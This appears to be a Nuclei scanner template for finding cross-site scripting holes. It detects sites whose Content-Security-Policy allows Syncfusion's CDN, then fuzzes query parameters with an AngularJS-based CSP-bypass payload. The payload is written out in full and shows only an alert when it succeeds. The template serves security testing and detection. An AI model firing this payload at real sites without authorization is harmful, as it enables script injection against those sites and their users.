id: syncfusion-cdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - Syncfusion CDN
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,syncfusion-cdn,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "syncfusion.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: syncfusion_cdn_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="https://cdn.syncfusion.com/js/assets/external/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "syncfusion_cdn_csp_xss == true"
# digest: 4a0a00473045022100d477678cabc8ddecaea5a7cb76365c3e3705fab519016da4c95edeab64bbeffc022060917e8cf392407ce772a54fbf44028c544d843d971d1933b8e71fa9bee26f2c:922c64590222798bb761d5b6d8e72950